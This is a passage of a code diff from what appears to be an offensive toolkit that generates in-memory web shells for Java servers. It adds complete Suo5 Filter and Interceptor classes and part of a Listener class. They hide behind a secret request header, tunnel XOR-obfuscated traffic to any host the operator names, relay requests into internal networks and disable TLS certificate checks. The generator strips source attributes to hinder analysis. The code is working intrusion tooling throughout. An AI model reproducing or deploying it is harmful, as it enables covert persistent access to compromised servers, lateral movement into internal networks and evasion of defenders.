config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); + return bytes; + } + + @Override + public byte[] modifyShell(String className, AbstractConfig config) { + byte[] bytes = new byte[0]; + try { + pool.insertClassPath(new ClassClassPath(Suo5Generator.class)); + CtClass ctClass = pool.getCtClass(className); + ctClass.getClassFile().setVersionToJava5(); + JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); + JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); + JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); + + if (config.getShellType().equals(Constants.SHELL_LISTENER)) { + String methodBody = ResponseUtil.getMethodBody(config.getServerType()); + JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); + } + JavassistUtil.removeSourceFileAttribute(ctClass); + bytes = ctClass.toBytecode(); + ctClass.detach(); + } catch (Exception e) { + e.printStackTrace(); + } + return bytes; + } + +} diff --git a/jmg-suo5/src/main/java/jmg/suo5/memshell/Suo5Filter.java b/jmg-suo5/src/main/java/jmg/suo5/memshell/Suo5Filter.java new file mode 100644 index 0000000..58de2de --- /dev/null +++ b/jmg-suo5/src/main/java/jmg/suo5/memshell/Suo5Filter.java @@ -0,0 +1,553 @@ +package jmg.suo5.memshell; + +import javax.net.ssl.*; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +public class Suo5Filter implements Filter, Runnable, HostnameVerifier, X509TrustManager { + public String headerName; + + public String headerValue; + + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Filter() { + } + + public Suo5Filter(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + public void init(FilterConfig filterConfig) throws ServletException { + } + + public void destroy() { + } + + public void doFilter(ServletRequest sReq, ServletResponse sResp, FilterChain chain) throws IOException, ServletException { + + try { + HttpServletRequest request = (HttpServletRequest) sReq; + HttpServletResponse response = (HttpServletResponse) sResp; + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + String contentType = request.getHeader("Content-Type"); + if (contentType == null) { + return; + } + + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + }else { + chain.doFilter(sReq, sResp); + } + } catch (Exception e) { + e.printStackTrace(); + chain.doFilter(sReq, sResp); + } + + + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = data[data.length / 2]; + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = request.getLocalPort(); + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Filter p = new Suo5Filter(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = request.getLocalPort(); + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + conn.setRequestProperty(k, request.getHeader(k)); + } + + OutputStream rout = conn.getOutputStream(); + rout.write(marshal(dataMap)); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} diff --git a/jmg-suo5/src/main/java/jmg/suo5/memshell/Suo5Interceptor.java b/jmg-suo5/src/main/java/jmg/suo5/memshell/Suo5Interceptor.java new file mode 100644 index 0000000..5d43415 --- /dev/null +++ b/jmg-suo5/src/main/java/jmg/suo5/memshell/Suo5Interceptor.java @@ -0,0 +1,538 @@ +package jmg.suo5.memshell; + +import org.springframework.web.servlet.AsyncHandlerInterceptor; + +import javax.net.ssl.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +public class Suo5Interceptor implements AsyncHandlerInterceptor,Runnable, HostnameVerifier, X509TrustManager { + public String headerName; + + public String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + + public Suo5Interceptor() { + } + + public Suo5Interceptor(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + try { + String contentType = request.getHeader("Content-Type"); + if (contentType == null) { + return false; + } + if (contentType.equals("application/x-www-form-urlencoded")) { + tryFullDuplex(request, response); + return false; + } + + if (contentType.equals("application/x-compressed")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); + e.printStackTrace(); + } + return false; + } else { + return true; + } + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = data[data.length / 2]; + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = request.getLocalPort(); + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Interceptor p = new Suo5Interceptor(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = request.getLocalPort(); + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + conn.setRequestProperty(k, request.getHeader(k)); + } + + OutputStream rout = conn.getOutputStream(); + rout.write(marshal(dataMap)); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} \ No newline at end of file diff --git a/jmg-suo5/src/main/java/jmg/suo5/memshell/Suo5Listener.java b/jmg-suo5/src/main/java/jmg/suo5/memshell/Suo5Listener.java new file mode 100644 index 0000000..514c4d4 --- /dev/null +++ b/jmg-suo5/src/main/java/jmg/suo5/memshell/Suo5Listener.java @@ -0,0 +1,577 @@ +package jmg.suo5.memshell; + +import javax.net.ssl.*; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { + + public String headerName; + + public String headerValue; + + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Listener() { + } + + public Suo5Listener(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + HttpServletResponse response = getResponseFromRequest(request); + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + String contentType = request.getHeader("Content-Type"); + if (contentType == null) { + return; + } + + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } + + } catch (Exception ignored) { + } + } + + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new 